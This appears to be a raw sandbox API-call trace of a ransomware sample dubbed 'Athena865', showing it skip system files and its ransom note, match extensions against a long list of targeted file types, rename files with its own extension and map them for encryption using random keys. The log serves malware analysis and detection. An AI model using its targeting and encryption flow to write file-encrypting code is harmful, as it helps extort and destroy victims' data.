lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="..") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="windows") returned -1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="bootmgr") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="temp") returned -1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="pagefile.sys") returned -1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="boot") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="ids.txt") returned 1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="ntuser.dat") returned -1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="perflogs") returned -1 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2="MSBuild") returned -1 [0059.204] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0059.204] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Microsoft.VC90.CRT.manifest" | out: lpString1="Microsoft.VC90.CRT.manifest") returned="Microsoft.VC90.CRT.manifest" [0059.204] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0059.204] lstrlenW (lpString="Athena865") returned 9 [0059.204] lstrcmpiW (lpString1=".manifest", lpString2="Athena865") returned -1 [0059.204] lstrlenW (lpString=".dll") returned 4 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".dll") returned 1 [0059.204] lstrlenW (lpString=".lnk") returned 4 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".lnk") returned 1 [0059.204] lstrlenW (lpString=".ini") returned 4 [0059.204] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".ini") returned 1 [0059.204] lstrlenW (lpString=".sys") returned 4 [0059.205] lstrcmpiW (lpString1="Microsoft.VC90.CRT.manifest", lpString2=".sys") returned 1 [0059.205] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0059.205] lstrlenW (lpString="bak") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="bak") returned 1 [0059.205] lstrlenW (lpString="ba_") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="ba_") returned 1 [0059.205] lstrlenW (lpString="dbb") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="dbb") returned 1 [0059.205] lstrlenW (lpString="vmdk") returned 4 [0059.205] lstrcmpiW (lpString1="fest", lpString2="vmdk") returned -1 [0059.205] lstrlenW (lpString="rar") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="rar") returned -1 [0059.205] lstrlenW (lpString="zip") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="zip") returned -1 [0059.205] lstrlenW (lpString="tgz") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="tgz") returned -1 [0059.205] lstrlenW (lpString="vbox") returned 4 [0059.205] lstrcmpiW (lpString1="fest", lpString2="vbox") returned -1 [0059.205] lstrlenW (lpString="vdi") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="vdi") returned -1 [0059.205] lstrlenW (lpString="vhd") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="vhd") returned -1 [0059.205] lstrlenW (lpString="vhdx") returned 4 [0059.205] lstrcmpiW (lpString1="fest", lpString2="vhdx") returned -1 [0059.205] lstrlenW (lpString="avhd") returned 4 [0059.205] lstrcmpiW (lpString1="fest", lpString2="avhd") returned 1 [0059.205] lstrlenW (lpString="db") returned 2 [0059.205] lstrcmpiW (lpString1="st", lpString2="db") returned 1 [0059.205] lstrlenW (lpString="db2") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="db2") returned 1 [0059.205] lstrlenW (lpString="db3") returned 3 [0059.205] lstrcmpiW (lpString1="est", lpString2="db3") returned 1 [0059.206] lstrlenW (lpString="dbf") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="dbf") returned 1 [0059.206] lstrlenW (lpString="mdf") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="mdf") returned -1 [0059.206] lstrlenW (lpString="mdb") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="mdb") returned -1 [0059.206] lstrlenW (lpString="sql") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="sql") returned -1 [0059.206] lstrlenW (lpString="sqlite") returned 6 [0059.206] lstrcmpiW (lpString1="nifest", lpString2="sqlite") returned -1 [0059.206] lstrlenW (lpString="sqlite3") returned 7 [0059.206] lstrcmpiW (lpString1="anifest", lpString2="sqlite3") returned -1 [0059.206] lstrlenW (lpString="sqlitedb") returned 8 [0059.206] lstrcmpiW (lpString1="manifest", lpString2="sqlitedb") returned -1 [0059.206] lstrlenW (lpString="xml") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="xml") returned -1 [0059.206] lstrlenW (lpString="$er") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="$er") returned 1 [0059.206] lstrlenW (lpString="4dd") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="4dd") returned 1 [0059.206] lstrlenW (lpString="4dl") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="4dl") returned 1 [0059.206] lstrlenW (lpString="^^^") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="^^^") returned 1 [0059.206] lstrlenW (lpString="abs") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="abs") returned 1 [0059.206] lstrlenW (lpString="abx") returned 3 [0059.206] lstrcmpiW (lpString1="est", lpString2="abx") returned 1 [0059.206] lstrlenW (lpString="accdb") returned 5 [0059.206] lstrcmpiW (lpString1="ifest", lpString2="accdb") returned 1 [0059.206] lstrlenW (lpString="accdc") returned 5 [0059.207] lstrcmpiW (lpString1="ifest", lpString2="accdc") returned 1 [0059.207] lstrlenW (lpString="accde") returned 5 [0059.207] lstrcmpiW (lpString1="ifest", lpString2="accde") returned 1 [0059.207] lstrlenW (lpString="accdr") returned 5 [0059.207] lstrcmpiW (lpString1="ifest", lpString2="accdr") returned 1 [0059.207] lstrlenW (lpString="accdt") returned 5 [0059.207] lstrcmpiW (lpString1="ifest", lpString2="accdt") returned 1 [0059.207] lstrlenW (lpString="accdw") returned 5 [0059.207] lstrcmpiW (lpString1="ifest", lpString2="accdw") returned 1 [0059.207] lstrlenW (lpString="accft") returned 5 [0059.207] lstrcmpiW (lpString1="ifest", lpString2="accft") returned 1 [0059.207] lstrlenW (lpString="adb") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0059.207] lstrlenW (lpString="adb") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="adb") returned 1 [0059.207] lstrlenW (lpString="ade") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="ade") returned 1 [0059.207] lstrlenW (lpString="adf") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="adf") returned 1 [0059.207] lstrlenW (lpString="adn") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="adn") returned 1 [0059.207] lstrlenW (lpString="adp") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="adp") returned 1 [0059.207] lstrlenW (lpString="alf") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="alf") returned 1 [0059.207] lstrlenW (lpString="ask") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="ask") returned 1 [0059.207] lstrlenW (lpString="btr") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="btr") returned 1 [0059.207] lstrlenW (lpString="cat") returned 3 [0059.207] lstrcmpiW (lpString1="est", lpString2="cat") returned 1 [0059.207] lstrlenW (lpString="cdb") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="cdb") returned 1 [0059.208] lstrlenW (lpString="ckp") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="ckp") returned 1 [0059.208] lstrlenW (lpString="cma") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="cma") returned 1 [0059.208] lstrlenW (lpString="cpd") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="cpd") returned 1 [0059.208] lstrlenW (lpString="dacpac") returned 6 [0059.208] lstrcmpiW (lpString1="nifest", lpString2="dacpac") returned 1 [0059.208] lstrlenW (lpString="dad") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="dad") returned 1 [0059.208] lstrlenW (lpString="dadiagrams") returned 10 [0059.208] lstrcmpiW (lpString1="T.manifest", lpString2="dadiagrams") returned 1 [0059.208] lstrlenW (lpString="daschema") returned 8 [0059.208] lstrcmpiW (lpString1="manifest", lpString2="daschema") returned 1 [0059.208] lstrlenW (lpString="db-journal") returned 10 [0059.208] lstrcmpiW (lpString1="T.manifest", lpString2="db-journal") returned 1 [0059.208] lstrlenW (lpString="db-shm") returned 6 [0059.208] lstrcmpiW (lpString1="nifest", lpString2="db-shm") returned 1 [0059.208] lstrlenW (lpString="db-wal") returned 6 [0059.208] lstrcmpiW (lpString1="nifest", lpString2="db-wal") returned 1 [0059.208] lstrlenW (lpString="dbc") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="dbc") returned 1 [0059.208] lstrlenW (lpString="dbs") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="dbs") returned 1 [0059.208] lstrlenW (lpString="dbt") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="dbt") returned 1 [0059.208] lstrlenW (lpString="dbv") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="dbv") returned 1 [0059.208] lstrlenW (lpString="dbx") returned 3 [0059.208] lstrcmpiW (lpString1="est", lpString2="dbx") returned 1 [0059.208] lstrlenW (lpString="dcb") returned 3 [0059.209] lstrcmpiW (lpString1="est", lpString2="dcb") returned 1 [0059.209] lstrcmpiW (lpString1="est", lpString2="dct") returned 1 [0059.209] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.Athena865") returned 100 [0059.209] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.athena865"), dwFlags=0x1) returned 1 [0059.210] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.210] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1857) returned 1 [0059.210] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.211] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.211] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.211] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.212] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50, lpName=0x0) returned 0x154 [0059.213] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50) returned 0x100000 [0059.214] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.214] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.214] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.214] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.215] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.215] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0059.215] CloseHandle (hObject=0x154) returned 1 [0059.215] CloseHandle (hObject=0x17c) returned 1 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.215] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.215] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="..") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="windows") returned -1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="bootmgr") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="temp") returned -1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="pagefile.sys") returned -1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="boot") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="ids.txt") returned 1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="ntuser.dat") returned -1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="perflogs") returned -1 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2="MSBuild") returned 1 [0059.216] lstrlenW (lpString="msvcr90.dll") returned 11 [0059.216] lstrcpyW (in: lpString1=0x241e8c6, lpString2="msvcr90.dll" | out: lpString1="msvcr90.dll") returned="msvcr90.dll" [0059.216] lstrlenW (lpString="msvcr90.dll") returned 11 [0059.216] lstrlenW (lpString="Athena865") returned 9 [0059.216] lstrcmpiW (lpString1="vcr90.dll", lpString2="Athena865") returned 1 [0059.216] lstrlenW (lpString=".dll") returned 4 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".dll") returned 1 [0059.216] lstrlenW (lpString=".lnk") returned 4 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".lnk") returned 1 [0059.216] lstrlenW (lpString=".ini") returned 4 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".ini") returned 1 [0059.216] lstrlenW (lpString=".sys") returned 4 [0059.216] lstrcmpiW (lpString1="msvcr90.dll", lpString2=".sys") returned 1 [0059.216] lstrlenW (lpString="msvcr90.dll") returned 11 [0059.216] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.Athena865") returned 84 [0059.217] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.athena865"), dwFlags=0x1) returned 1 [0059.217] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.217] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=655872) returned 1 [0059.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.218] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.218] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.218] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.219] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa0500, lpName=0x0) returned 0x154 [0059.220] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa0500) returned 0x2d50000 [0059.242] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.243] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.243] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.243] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.243] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.244] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.244] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.249] CloseHandle (hObject=0x154) returned 1 [0059.250] CloseHandle (hObject=0x17c) returned 1 [0059.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.250] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.253] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="..") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="windows") returned -1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="bootmgr") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="temp") returned -1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="pagefile.sys") returned -1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="boot") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="ids.txt") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="ntuser.dat") returned 1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="perflogs") returned -1 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2="MSBuild") returned 1 [0059.253] lstrlenW (lpString="OfficeLR.cab") returned 12 [0059.253] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OfficeLR.cab" | out: lpString1="OfficeLR.cab") returned="OfficeLR.cab" [0059.253] lstrlenW (lpString="OfficeLR.cab") returned 12 [0059.253] lstrlenW (lpString="Athena865") returned 9 [0059.253] lstrcmpiW (lpString1="iceLR.cab", lpString2="Athena865") returned 1 [0059.253] lstrlenW (lpString=".dll") returned 4 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".dll") returned 1 [0059.253] lstrlenW (lpString=".lnk") returned 4 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".lnk") returned 1 [0059.253] lstrlenW (lpString=".ini") returned 4 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".ini") returned 1 [0059.253] lstrlenW (lpString=".sys") returned 4 [0059.253] lstrcmpiW (lpString1="OfficeLR.cab", lpString2=".sys") returned 1 [0059.253] lstrlenW (lpString="OfficeLR.cab") returned 12 [0059.254] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.Athena865") returned 85 [0059.254] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.athena865"), dwFlags=0x1) returned 1 [0059.254] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.254] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14127746) returned 1 [0059.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.255] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.255] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.255] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.255] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.256] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd79590, lpName=0x0) returned 0x154 [0059.257] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xc00000, dwNumberOfBytesToMap=0x179590) returned 0x2d50000 [0059.326] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0059.474] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0059.492] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.493] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.493] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 